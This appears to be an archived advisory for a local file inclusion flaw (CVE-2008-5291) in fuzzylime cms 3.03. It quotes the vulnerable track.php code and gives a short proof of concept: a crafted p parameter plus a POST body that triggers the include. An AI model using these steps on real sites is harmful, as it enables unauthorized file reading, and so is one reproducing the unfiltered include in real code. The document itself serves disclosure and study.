fuzzylime cms 3.03 (track.php p) Local File Inclusion Vulnerability

2008-12-02 / 2008-12-03

Credit: Alfons Luja

Risk: High

Local: No

Remote: Yes

CVE: CVE-2008-5291

CWE: CWE-22

CVSS Base Score: 7.5/10

Impact Subscore: 6.4/10

Exploitability Subscore: 10/10

Exploit range: Remote

Attack complexity: Low

Authentication: No required

Confidentiality impact: Partial

Integrity impact: Partial

Availability impact: Partial

/*
--+_---=+--=_____=+++++

-- FuzzyLime 3.03 Local File Iclude PoC 
    ***
   (-0-)
  -____======_+++++---''''
***************************************__________________
-- Vuln 
 - code/track.php
   
  $m = $_GET[m];
  $p = $_GET[p]; //1 
  include "settings.inc.php";
  if(!isset($_POST[url]) || !isset($_POST[title]) || !isset($_POST[excerpt])) { //2
	header("Location: ${rooturl}index.php?s=news&p=$p&m=$m");
  }
  else {
    if(file_exists("../blogs/$p.inc.php")) { //3
	 include "../blogs/$p.inc.php";     //4 
   ...
1 $p is not filtered 
2 When POST'S is set 
3 and file exists
4 we have lfi

---+++++....--___________--============
*/


Go to LIVE_HTTP_HEADERS in firefox or opera or whatever
set url  http://site/path/code/track.php?p=[file] 
set "SEND POST CONNTENT"  url=evil&title=666&excerpt=xd
and push reply 
 
//Alfons Luja  25.12.2008

References:

http://www.securityfocus.com/bid/32475

http://www.milw0rm.com/exploits/7231

http://secunia.com/advisories/32865

See this note in RAW Version

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fuzzylime cms 3.03 (track.php p) Local File Inclusion Vulnerability

References:

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